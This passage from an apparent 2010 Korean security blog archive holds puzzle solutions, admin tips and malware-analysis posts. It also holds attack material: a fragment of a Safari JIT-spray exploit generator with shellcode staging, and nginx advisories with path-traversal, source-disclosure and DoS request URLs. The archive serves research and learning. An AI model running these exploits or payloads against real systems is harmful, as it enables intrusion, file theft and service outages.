part of shellcode to RWX page\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EBCB03^\\\u0026#34;+ // add ecx, ebx ; ecx=ecx+4 - move pointer for next copy\\n\u0026#34;; $copyJit.=$val; } $jumJit=\u0026#34;\\\u0026#34;0x14EB00B5^\\\u0026#34;+ // mov ch, 00\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EB00B1^\\\u0026#34;+ // mov cl, 00 ; ECX - RWE memory WITH shellcode\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EBE1FF^\\\u0026#34;+ // JMP ECX ; PROFIT! \\n\u0026#34;; $page=\u0026#34; \u0026lt;!-- JIT-SPRAY for Safari 4.0.5 - 5.0.0 (vuln for 4.0.5 only) JavaScript JIT SHELLCODE and spray for ASLR / DEP bypass (Win x32) By Alexey Sintsov from Digital Security research Group special for www.xakep.ru [DSecRG] www.dsecrg.com --\u0026gt; \u0026lt;script\u0026gt; function make_buf(payload, len) { while(payload.length \u0026lt; (len * 4)) payload += payload; payload = payload.substring(0, len); return payload; } function fff() { var a = parent; var buf = make_buf(unescape(\u0026#39;%u0104%u0606\u0026#39;), 68000); a.prompt(alert); a.prompt(buf); a.close(); a.prompt(alert); } var SPRAY=\\\u0026#34;\\\u0026#34;; var JIT=\\\u0026#34;{ \\\u0026#34;+ \\\u0026#34;var y=(\\\u0026#34;+ \u0026#34;; $endPage=\u0026#34;\\\u0026#34;0x14ebcccc\\\u0026#34;+ \\\u0026#34;);\\\u0026#34;+ \\\u0026#34;return y; }\\\u0026#34;; var zl=\\\u0026#34;zlo_\\\u0026#34;; for (var i=1;i\u0026lt;800;i++) { SPRAY+=\\\u0026#34;function \\\u0026#34;+zl+i+\\\u0026#34;()\\\u0026#34;+JIT+\\\u0026#34; \\\u0026#34;+zl+i+\\\u0026#34;();\\\u0026#34;; } eval(SPRAY); fff(); \u0026lt;/script\u0026gt; \u0026lt;/center\u0026gt;\u0026#34;; #build page $page.=$offsetJit.$initJit.$copyJit.$jumJit.$endPage; print $page; ","date":"2010-06-12T19:29:15Z","permalink":"/2010/06/12/shellcode-%EB%AA%A8%EC%9D%8C/","title":"Shellcode 모음"},{"content":"http://www.pythonchallenge.com/pc/hex/ambiguity.html\n접속을 하면 아래와 같인 미로 이미지가 나온다. 오른쪽 상단을 입구로 해서 왼쪽 하단의 출구로 나가는 미로찾기를 작성해야 하는 것으로 보인다.\n미로찾기 알고리즘은 여러 알고리즘이 있으나 가장 간단한 좌수법(왼손으로 벽짚고 따라가기) 으로 작성하여 보았다. 좌수법의 알고리즘 원리는 아래와 같다.\n1 2 3 4 5 6 1. 왼쪽이 비어있으면 왼쪽으로 먼저 간다. 2. 왼쪽이 막혀있고 위쪽이 비어있으면 위쪽으로 간다. 3. 왼쪽, 위쪽이 막혀있고 오른쪽이 비어있으면 오른쪽으로 간다. 4. 전부 막혔을 경우, 전부 비어있을 경우 아래로 간다. 5. 왼쪽이 비게되면 전부 비어있더라도 왼쪽 먼저 간다. 6. 현재 진행 방향이 존재하기 때문에 위, 아래, 왼쪽, 오른쪽 등 모든 경우에 대해 조사한다. 미로를 푼 이미지는 아래와 같다.\n무슨 지도같아 보이기도 하고 여기서 어떻게 해야 할지 몰라 지인분께 힌트를 구하니 \u0026quot;저 이미지의 경로를 따라가면 답이 나온다.\u0026quot; 라고 하였다.\n그래서 기존 미로 이미지에서 입구에서 출구까지 나오는 길에서의 RGB 값을 구하여 보니 R 값만 보이는 것을 확인할 수 있었고 해당 값만 따로 모아서 저장하여 보니 ZIP 파일임을 확인할 수 있었다. ZIP 파일을 풀어보면 아래 이미지가 나온다.\n아래는 풀이코드 이다. 코드가 너무 엉망이라도 이해 부탁 :-p\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 #!c:\\python25\\python.exe # -*- coding: utf-8 -*- import Image maze = Image.open(\u0026#39;maze.png\u0026#39;) size = maze.size tmp = Image.new(\u0026#39;RGB\u0026#39;, size, \u0026#39;black\u0026#39;) \u0026#39;\u0026#39;\u0026#39; - 미로찾기 좌수법 알고리즘 - 왼쪽이 비어있으면 왼쪽 먼저, 왼쪽이 막혀있고 위쪽이 비어있으면 위쪽, 왼쪽, 위쪽이 막혀있고 오른쪽이 비어있으면 오른쪽, 전부 막혔을 경우, 전부 비어있을 경우 아래로 간다. 왼쪽이 비게되면 전부 비어있더라도 왼쪽 먼저 간다. 현재 진행 방향이 존재하기 때문에 위, 아래, 왼쪽, 오른쪽등 모든 경우에 대해 조사한다. \u0026#39;\u0026#39;\u0026#39; def check_left(im, x, y, color): # 좌 data = im.getpixel( (x-1, y) ) if data[1] == color: return 1 else: return 0 def check_right(im, x, y, color): # 우 try: data = im.getpixel( (x+1, y) ) if data[1] == color: return 1 else: return 0 except: return 0 def check_forward(im, x, y, color): # 상 try: data = im.getpixel( (x, y-1) ) if data[1] == color: return 1 else: return 0 except: return 0 def check_backward(im, x, y, color): # 하 data = im.getpixel( (x, y+1) ) if data[1] == color: return 1 else: return 0 def check(im, now, x, y, color): if now == \u0026#39;up\u0026#39;: left = check_left(im, x, y, color) right = check_right(im, x, y, color) up = check_forward(im, x, y, color) if left == 1: now = \u0026#39;left\u0026#39; x -= 1 elif left == 0 and up == 1: now = \u0026#39;up\u0026#39; y -= 1 elif left == 0 and up == 0 and right == 1: now = \u0026#39;right\u0026#39; x += 1 elif left == 0 and up == 0 and right == 0: now = \u0026#39;down\u0026#39; y += 1 elif now == \u0026#39;down\u0026#39;: left = check_right(im, x, y, color) right = check_left(im, x, y, color) up = check_backward(im, x, y, color) if left == 1: now = \u0026#39;right\u0026#39; x += 1 elif left == 0 and up == 1: now = \u0026#39;down\u0026#39; y += 1 elif left == 0 and up == 0 and right == 1: now = \u0026#39;left\u0026#39; x -= 1 elif left == 0 and up == 0 and right == 0: now = \u0026#39;up\u0026#39; y -= 1 elif now == \u0026#39;right\u0026#39;: left = check_forward(im, x, y, color) right = check_backward(im, x, y, color) up = check_right(im, x, y, color) if left == 1: now = \u0026#39;up\u0026#39; y -= 1 elif left == 0 and up == 1: now = \u0026#39;right\u0026#39; x += 1 elif left == 0 and up == 0 and right == 1: now = \u0026#39;down\u0026#39; y += 1 elif left == 0 and up == 0 and right == 0: now = \u0026#39;left\u0026#39; x -= 1 elif now == \u0026#39;left\u0026#39;: left = check_backward(im, x, y, color) right = check_forward(im, x, y, color) up = check_left(im, x, y, color) if left == 1: now = \u0026#39;down\u0026#39; y += 1 elif left == 0 and up == 1: now = \u0026#39;left\u0026#39; x -= 1 elif left == 0 and up == 0 and right == 1: now = \u0026#39;up\u0026#39; y -= 1 elif left == 0 and up == 0 and right == 0: now = \u0026#39;right\u0026#39; x += 1 return now, x, y def extract(): x = 639 # 시작 x 좌표 y = 0 # 시작 y 좌표 now = \u0026#39;down\u0026#39; # 시작 시 진행방향 zipdata = \u0026#39;\u0026#39; count = 0 while 1: count += 1 data = maze.getpixel( (x, y) ) if count % 2 == 0: zipdata += chr(data[0]) now, x, y = check(tmp, now, x, y, 222) if y == 640: break zipfile = open(\u0026#39;output.zip\u0026#39;, \u0026#39;wb\u0026#39;) zipfile.write(zipdata) zipfile.close() def main(): x = 639 # 시작 x 좌표 y = 0 # 시작 y 좌표 now = \u0026#39;down\u0026#39; # 시작 시 진행방향 while 1: tmpx = x tmpy = y tmp.putpixel( (x, y), (222, 222, 222, 222) ) now, x, y = check(maze, now, x, y, 0) print \u0026#39;(\u0026#39; + str(x) + \u0026#39;, \u0026#39; + str(y) + \u0026#39;)\u0026#39; data = tmp.getpixel( (x, y) ) if data[1] == 222 and data[2] == 222: tmp.putpixel( (tmpx, tmpy), (0, 0, 0, 0) ) else: tmp.putpixel( (x, y), (222, 222, 222, 222) ) if y == 640: extract() # 저장해둔 길따라 다시 최단 거리로 재탐색 tmp.save(\u0026#39;output.png\u0026#39;) tmp.show() break if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Start\u0026#39; main() print \u0026#39;[+] End\u0026#39; ","date":"2010-06-06T16:08:00Z","permalink":"/2010/06/06/the-python-challenge-level-24/","title":"The Python Challenge - Level 24"},{"content":"http://www.pythonchallenge.com/pc/hex/bonus.html\n문제 페이지 접속 후 해당 문제 소스를 보면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 \u0026lt;!-- TODO: do you owe someone an apology? now it is a good time to tell him that you are sorry. Please show good manners although it has nothing to do with this level. --\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;what is this module?\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;../style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;center\u0026gt; \u0026lt;br\u0026gt; \u0026lt;br\u0026gt; \u0026lt;img src=\u0026#34;bonus.jpg\u0026#34;\u0026gt; \u0026lt;!-- it can\u0026#39;t find it. this is an undocumented module. --\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026lt;!-- \u0026#39;va gur snpr bs jung?\u0026#39; --\u0026gt; 해당 소스를 보면 모듈을 찾을 수 없다는 내용이 있으며 아래 암호화된 것으로 보이는 문자열이 존재한다. 우선 암호화 된 문자열을 해독해 보자. 암호화 된 문자열은 ROT13으로 암호화 된 것이며 아래와 같이 해독된다.\n'in the face of what?'\n여기서 부터는 도저히 풀지 못해 아는분께 물어보고 풀게 되었다. 지인분은 \u0026quot;Python 설치 폴더 아래에 어떤 모듈이 존재하며 해당 모듈 내부에 암호화 된 스트링이 존재한다\u0026quot; 라고 하였다. 이제 검색을 해보도록 하자.\n1 2 C:\\Python25\\Lib\u0026gt;grep \u0026#39;gur snpr bs\u0026#39; * this.py:Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff. this.py 를 찾았다! this.py 내용은 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 s = \u0026#34;\u0026#34;\u0026#34;Gur Mra bs Clguba, ol Gvz Crgref Ornhgvshy vf orggre guna htyl. Rkcyvpvg vf orggre guna vzcyvpvg. Fvzcyr vf orggre guna pbzcyrk. Pbzcyrk vf orggre guna pbzcyvpngrq. Syng vf orggre guna arfgrq. Fcnefr vf orggre guna qrafr. Ernqnovyvgl pbhagf. Fcrpvny pnfrf nera\u0026#39;g fcrpvny rabhtu gb oernx gur ehyrf. Nygubhtu cenpgvpnyvgl orngf chevgl. Reebef fubhyq arire cnff fvyragyl. Hayrff rkcyvpvgyl fvyraprq. Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff. Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg. Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh\u0026#39;er Qhgpu. Abj vf orggre guna arire. Nygubhtu arire vf bsgra orggre guna *evtug* abj. Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg\u0026#39;f n onq vqrn. Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn. Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg\u0026#39;f qb zber bs gubfr!\u0026#34;\u0026#34;\u0026#34; d = {} for c in (65, 97): for i in range(26): d[chr(i+c)] = chr((i+13) % 26 + c) print \u0026#34;\u0026#34;.join([d.get(c, c) for c in s]) 해당 this.py 를 실행하여 보면 아래와 같은 문자가 출력된다. 위 s 변수의 스트링 내용은 모두 ROT13으로 암호화 된 내용이였다. (왜 암호화를 해둔거지?)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 C:\\Python25\\Lib\u0026gt;this.py The Zen of Python, by Tim Peters Beautiful is better than ugly. Explicit is better than implicit. Simple is better than complex. Complex is better than complicated. Flat is better than nested. Sparse is better than dense. Readability counts. Special cases aren\u0026#39;t special enough to break the rules. Although practicality beats purity. Errors should never pass silently. Unless explicitly silenced. In the face of ambiguity, refuse the temptation to guess. There should be one-- and preferably only one --obvious way to do it. Although that way may not be obvious at first unless you\u0026#39;re Dutch. Now is better than never. Although never is often better than *right* now. If the implementation is hard to explain, it\u0026#39;s a bad idea. If the implementation is easy to explain, it may be a good idea. Namespaces are one honking great idea -- let\u0026#39;s do more of those! 문제 페이지 소스에 있던 문자에서 암호화 된 문자가 'in the face of what?' 였으므로 'In the face of ambiguity' 내용이 눈에 띈다.\n답은 ambiguity (근데 this.py 얘는 뭐하는 녀석인거지? -_- )\n","date":"2010-06-05T16:50:19Z","permalink":"/2010/06/05/the-python-challenge-level-23/","title":"The Python Challenge - Level 23"},{"content":"최근에 Nginx 관련 취약점이 몇가지가 올라와 기록해 둡니다. BlackHat SEO Attack 관련한 사이트들이 대부분 Nginx 로 구성되어 있던데 이러한 취약점들이 먹힐려나 모르겠네요 XD\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 ################################################################# # Securitylab.ir ################################################################# # Application Info: # Name: Nginx # Tested on nginx 0.8.35 # Nginx 0.8.36 and higher is not vulnerable ################################################################# # Vulnerability Info: # Type: Remote File Disclosure # Risk: High ################################################################# # Vulnerability: # http://localhost/file.php%20 ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://Pouya.Securitylab.ir # Contacts: whh_iran[at]securitylab.ir \u0026amp; info@securitylab[dot]ir ################################################################### # Exploit Title: nginx [engine x] http server \u0026lt;= 0.6.36 Path Draversal # Date: 20/05/10 # Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il \u0026lt;http://www.DigitalWhisper.co.il\u0026gt; # Software Link: http://nginx.org/ # Version: \u0026lt;= 0.6.36 # Tested on: Win32 # ##[Path Traversal:] A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system. (OWASP) # http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini # # [e0f] Issue 1: (Remote Source Disclosure) - Description - nginx 0.8.36 is a multi platform HTTP server. This vulnerability exists in the latest Windows version of the application available. nginx on Windows is vulnerable to a remote source disclosure attack. - Technical Details - (Source Download) http://[ webserver IP][:port]index.html::$DATA Issue 2: (Remote DoS (w/ Memory Corruption)) - Description - nginx 0.8.36 (Windows) does not seem to handle encoded directory traversal attempts properly. The corrupted registers in the crash dump seem to be loaded with damaged path variables. - Technical Details - (Remote DoS) http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20 http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20 http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20 These three attempts will overwrite memory registers with different parts of the internal path based on where they try and traverse to. ","date":"2010-05-31T06:34:44Z","permalink":"/2010/05/31/nginx-%EA%B4%80%EB%A0%A8-%EC%B7%A8%EC%95%BD%EC%A0%90/","title":"Nginx 관련 취약점"},{"content":"얼마전 sophos 사이트에 올라온 Decodeme 문제에 대한 풀이를 기록 합니다.\nhttp://www.sophos.com/blogs/duck/g/2010/05/15/sophos-auscert-decodeme/ http://www.sophos.com/blogs/duck/g/2010/05/16/decodeme-t-shirt-tex/\n문제를 보면 아래와 같은 로고가 주어지고 디코딩을 하라고 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 %~~~~~~~~~~~~~~~~~~~~~~~~% |H4sIAAAAAAACA3P3dLOwTOxh| |YGF4zsBg7tHJMApGwYgE////| |V/zJwsjF8I9BB8QH5QkGjhYG| |xj/MD\u0026#39; gULH| |JrY\u0026#39; BbVi| |Tlx| Y4NgmoOxWoxH4yL5d| |VDR| oTseHh8f6WK359lQU| |qJy\\ \\YJOGt| |xhN5I\\ \\dlr| |qoJvnIznRDXvHjPWZ |SY7| |Lz31nKtYPklkV0F6w |AKr| |1E17 ,Vk5| |afng ,hp63R| |VsvNzy8u9qpU670lon11hvnS| |KNWuSS+vrvNf3HV05beU0NXB| |p71kJQQYrAFt8kQCpwMAAA==| %~~~~~~~~~~~~~~~~~~~~~~~~% D E C O D E M E 마지막 문장 형태를 보아하니 ==는 Base64 인코딩에서 패딩 문자열이므로 Base64로 인코딩 되어 있을거라 추측할 수 있었습니다. 그럼 아래와 같이 Base64로 디코딩하여 파일로 저장하는 스크립트를 작성할 수 있었습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/python import re, base64 str = \u0026#39;\u0026#39;\u0026#39; %~~~~~~~~~~~~~~~~~~~~~~~~% |H4sIAAAAAAACA3P3dLOwTOxh| |YGF4zsBg7tHJMApGwYgE////| |V/zJwsjF8I9BB8QH5QkGjhYG| |xj/MD\u0026#39; gULH| |JrY\u0026#39; BbVi| |Tlx| Y4NgmoOxWoxH4yL5d| |VDR| oTseHh8f6WK359lQU| |qJy\\ \\YJOGt| |xhN5I\\ \\dlr| |qoJvnIznRDXvHjPWZ |SY7| |Lz31nKtYPklkV0F6w |AKr| |1E17 ,Vk5| |afng ,hp63R| |VsvNzy8u9qpU670lon11hvnS| |KNWuSS+vrvNf3HV05beU0NXB| |p71kJQQYrAFt8kQCpwMAAA==| %~~~~~~~~~~~~~~~~~~~~~~~~% \u0026#39;\u0026#39;\u0026#39; data = re.sub(\u0026#39;[|%~\\\u0026#39;,\\\\\\]\u0026#39;, \u0026#39;\u0026#39;, str) data = re.sub(\u0026#39;\\s\u0026#39;, \u0026#39;\u0026#39;, data) ret = base64.b64decode(data) file = open(\u0026#39;output\u0026#39;, \u0026#39;wb\u0026#39;) file.write(ret) 실행을 하면 output 이라는 파일이 생성되고 해당 파일을 확인하면 아래와 같았습니다.\n1 2 C:\\Users\\ByJJoon\\Downloads\\DecodeMe\u0026gt;file output output: gzip compressed data, from Unix, max compression gzip 압축 파일로 확인되어 해당 파일을 압축을 해제하니 아래와 같은 이미지가 들어 있었습니다.\n보이시나요? -_- 잘 보면 http://www.sophos.com/anz/sofarsogood.html 문자열이 들어 있으며 해당 링크로 가보면 아래와 같은 문자열을 해독하라는 메세지가 나옵니다.\n1 2 3 4 5 6 7 LFDT FXVT XQDT FTCL FCTB TPCY EGDJ SRYP JPGC PTDD LFCJ PGNY ERLQ BLOY DTFT CLFC TFXG RAYP BTPC YSFM YPRT OLFC LFDG PYVT XQRA TFDG QRJP GCPT DDYP QHYB LYUY HSRL FDTF XGRA YPVT XQLR LQML IIYP YFRL FDGP YVTX QRAT FDGQ RDTF TCYP QYWJ YER 이 문자열을 문자 빈도수를 이용하여 해독하는 툴을 이용하면 아래와 같이 번역이 가능합니다.\n1 2 3 4 5 6 7 INMA NYWA YSMA NAGI NGAL ARGE COMP UTER PROG RAMM INGP ROJE CTIS LIKE MANA GING ANYO THER LARG EUND ERTA KING INMO REWA YSTH ANMO STPR OGRA MMER SBEL IEVE BUTI NMAN YOTH ERWA YSIT ISDI FFER ENTI NMOR EWAY STHA NMOS TMAN AGER SEXP ECT 최종 문자 내용을 아래와 같습니다.\n1 IN MANY WAYS MANAGING A LARGE COMPUTER PROGRAMMING PROJECT IS LIKE MANAGING ANY OTHER LARGE UNDER TAKING IN MORE WAYS THAN MOST PROGRAMMERS BELIEVE BUT IN MAN Y OTHER WAYS IT IS DIFFERENT IN MORE WAYS THAN MOST MANAGERS EXPECT ","date":"2010-05-24T17:16:18Z","permalink":"/2010/05/24/%EC%96%BC%EB%A7%88%EC%A0%84-sophos-%EC%82%AC%EC%9D%B4%ED%8A%B8%EC%97%90-%EC%98%AC%EB%9D%BC%EC%98%A8-decodeme-%ED%92%80%EC%9D%B4/","title":"얼마전 sophos 사이트에 올라온 DecodeMe 풀이"},{"content":"최근 허니팟 관련 스크립트를 작성하여 서버가 재부팅 되는 경우 서버 로그인 전에 자동으로 실행이 되도록 하기 위해 해당 스크립트를 서비스로 등록하는 작업을 진행하여 보았습니다.\nResource Kit Tools 설치 Windows Server 2003 용 : http://www.microsoft.com/downloads/details.aspx?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd\u0026displaylang=en\nBatch 파일 작성 서비스로 등록시킬 스크립트 파일을 아래와 같이 작성한다. C:\\Python25\\python.exe C:\\Service\\test.py \u0026gt; c:\\Service\\log.txt\n서비스 등록 아래 명령어로 서비스를 등록한다. C:\\Program Files\\Windows Resource Kits\\Tools\\instsrv [서비스명] C:\\Program Files\\Windows Resource Kits\\Tools\\srvany.exe\n레지스트리 등록 아래 레지스트리 값으로 이동 하여 Key값 및 Value값을 추가 한다. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services[서비스명]\n서브 Key 추가 : Parameters Parameters Key 하위에 아래와 같은 이름으로 Value(문자열값) 추가\nApplication = \u0026quot;C:\\Service\\start.bat\u0026quot; AppDirectory = \u0026quot;C:\\Service\u0026quot; AppParameters = \u0026quot; \u0026quot;\n서비스 실행 계정 변경 [제어판] - [관리도구] - [서비스]로 이동하여 방금 생성한 서비스 실행 계정을 Administrator로 변경한다.\n배치파일 생성 마지막으로 start.bat 파일 구성에 대해 알아보겠습니다. 제가 작성한 배치파일 내용 입니다.\nstart.bat\n1 2 start /D \u0026#34;c:\\Sample Downloader\\Service\\\u0026#34; /B URL-always.bat start /D \u0026#34;c:\\Sample Downloader\\Service\\\u0026#34; /B URL-down.txt.bat URL-always.bat\n1 c:\\python25\\python.exe \u0026#34;c:\\Sample Downloader\\URL-always.py\u0026#34; 2\u0026gt; \u0026#34;C:\\Logger\\URL-always.log\u0026#34; URL-down.txt.bat\n1 c:\\python25\\python.exe \u0026#34;c:\\Sample Downloader\\URL-down.txt.py\u0026#34; 2\u0026gt; \u0026#34;C:\\Logger\\URL-down.txt.log\u0026#34; 이렇게 3개의 배치파일을 통해 서비스로 start.bat 파일을 실행하면 자동으로 원하는 Python 스크립트를 다수 실행하며 에러를 기록할 수 있습니다.\n","date":"2010-05-19T14:17:25Z","permalink":"/2010/05/19/python-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%9C%88%EB%8F%84%EC%9A%B0-%EC%84%9C%EB%B9%84%EC%8A%A4%EB%A1%9C-%EB%93%B1%EB%A1%9D%ED%95%98%EA%B8%B0/","title":"Python 스크립트 윈도우 서비스로 등록하기"},{"content":"2010년 5월 14, 15일 양일간에 거쳐 KISA 주최 해킹방어대회 예선전이 있었습니다. 저는 sqrt0 팀으로 참가를 했었는데 다행이 올해는 본선 진출에 성공하였네요.\n본선은 6월 10일인데 좋은 결과가 있길 기원해야 겠네요. 흐흐 :D\n","date":"2010-05-18T10:43:35Z","permalink":"/2010/05/18/2010%EB%85%84-kisa-%ED%95%B4%ED%82%B9%EB%B0%A9%EC%96%B4%EB%8C%80%ED%9A%8C-%EC%98%88%EC%84%A0/","title":"2010년 KISA 해킹방어대회 예선"},{"content":"리눅스에서 백그라운드로 실행을 하려면 명령어의 맨뒤에 \u0026amp; 를 붙이면 된다. 다만 쉘이 종료되면 백그라운드로 실행했던 프로세스도 같이 종료되게 된다.\n따라서 쉘이 종료 되었을때도 계속해서 실행이 되게 하려면 아래와 같이 할 수 있다.\n1 nohup 명령어 \u0026amp; 이렇게 했을때 표준 출력값은 nohup.out 파일에 저장된다.\n","date":"2010-05-12T14:02:48Z","permalink":"/2010/05/12/%EB%B0%B1%EA%B7%B8%EB%9D%BC%EC%9A%B4%EB%93%9C%EB%A1%9C-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4-%EC%8B%A4%ED%96%89-%ED%95%98%EA%B8%B0/","title":"백그라운드로 프로세스 실행 하기"},{"content":"최근에 확장자는 DOC 였지만 RTF(Rich Text Format) 포맷의 문서에 포함된 악성코드가 확인이 되어 문서내에서 EXE 파일을 뽑아내는 방법에 대해 연구한 내용을 기록 합니다.\n우선 대상 샘플은 주말에 근무하다 발견한 doc 확장자를 가진 RTF 파일 입니다. 파일을 실행하면 아래와 같이 나오게 됩니다.\nPDF 파일 아이콘이 있으며 더블클릭을 하면 가운데 내용처럼 경고창이 나타나게 됩니다. [확인] 버튼을 누르면 당연히 문서내에 포함된 EXE 파일이 실행이 됩니다.\n그럼 이제부터 해당 문서내에 있는 EXE 파일을 추출하는 작업을 진행해 보도록 하겠습니다. 우선 에디터로 해당 문서를 열어 보면 아래와 같은 형태로 되어 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 C:\\Users\\ByJJoon\\Downloads\\RTF\u0026gt;cat sample.doc {\\rtf1\\ansi\\ansicpg1252\\deff0{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}} {\\*\\generator Msftedit 5.41.15.1515;}\\viewkind4\\uc1\\pard\\lang1033\\f0\\fs20{\\object\\objemb{\\*\\objclass Package}\\objw1950\\o bjh765{\\*\\objdata 01050000 02000000 08000000 5061636b61676500 00000000 00000000 99b20000 0200636f7572745f646f63756d656e74732e70646600433a5c446f63756d656e747320616e6420 53657474696e67735c41646d696e6973747261746f725c4465736b746f705c332e69636f000000 03002f0000005c5c3139322e3136382e38382e315c4c696e75782053686172655c657865735c64 656d323030315f31302e6578650010b200004d5a90000300000004000000ffff0000b800000000 000000400000000000000000000000000000000000000000000000000000000000000000000000 c00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062 . . [생략] . . 756d656e74732e70646600210041001c000000fb021000070000000000bc020000000001020222 53797374656d0000301a666d00000a0026008a0100000000ffffffff84f30700040000002d0101 00030000000000 }{\\result{\\pict\\wmetafile8\\picw1950\\pich765\\picwgoal1950\\pichgoal765 010009000003400700000200210600000000050000000b0200000000050000000c02320081001c 000000fb02f5ff000000000000900100000001000000005461686f6d610000b4130a84f8f20700 . . [생략] . . 000000000000000000000000000000000000000000000000000000000000000000000000000000 000005000000020101000000050000002e01060000001000000021051300636f7572745f646f63 756d656e74732e70646600210041001c000000fb021000070000000000bc020000000001020222 53797374656d0000301a666d00000a0026008a0100000000ffffffff84f30700040000002d0101 00030000000000 }}}\\par (double click to view)\\par } C:\\Users\\ByJJoon\\Downloads\\RTF\u0026gt; objdata 를 시작해서 }{\\result 사이의 내용만 따로 뽑아내어 bin.dump 파일로 저장하도록 합니다. 뽑아낸 내용은 모두 바이너리 값으로 Hex 값으로 변경하여야 합니다. 해당 작업을 아래와 같이 스크립트를 작성하여 할 수 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/usr/bin/python import sys, binascii, re if len(sys.argv) != 2: print \u0026#39;Usage : \u0026#39; + sys.argv[0] + \u0026#39; Filename\u0026#39; sys.exit(1) file = open(sys.argv[1], \u0026#39;r\u0026#39;) input = file.readlines() tmp = \u0026#39;\u0026#39; for x in input: x = re.sub(\u0026#39;\\s\u0026#39;, \u0026#39;\u0026#39;, x) tmp += binascii.unhexlify(x) output = open(\u0026#39;final.bin\u0026#39;, \u0026#39;wb\u0026#39;) output.write(tmp) 위 코드를 이용하여 아래와 같이 변경할 수 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 C:\\Users\\ByJJoon\\Downloads\\RTF\u0026gt;RTF.py bin.dump C:\\Users\\ByJJoon\\Downloads\\RTF\u0026gt;xxd final.bin 0000000: 0105 0000 0200 0000 0800 0000 5061 636b ............Pack 0000010: 6167 6500 0000 0000 0000 0000 99b2 0000 age............. 0000020: 0200 636f 7572 745f 646f 6375 6d65 6e74 ..court_document 0000030: 732e 7064 6600 433a 5c44 6f63 756d 656e s.pdf.C:\\Documen 0000040: 7473 2061 6e64 2053 6574 7469 6e67 735c ts and Settings\\ 0000050: 4164 6d69 6e69 7374 7261 746f 725c 4465 Administrator\\De 0000060: 736b 746f 705c 332e 6963 6f00 0000 0300 sktop\\3.ico..... 0000070: 2f00 0000 5c5c 3139 322e 3136 382e 3838 /...\\\\192.168.88 0000080: 2e31 5c4c 696e 7578 2053 6861 7265 5c65 .1\\Linux Share\\e 0000090: 7865 735c 6465 6d32 3030 315f 3130 2e65 xes\\dem2001_10.e 00000a0: 7865 0010 b200 004d 5a90 0003 0000 0004 xe.....MZ....... 00000b0: 0000 00ff ff00 00b8 0000 0000 0000 0040 ...............@ 00000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000e0: 0000 00c0 0000 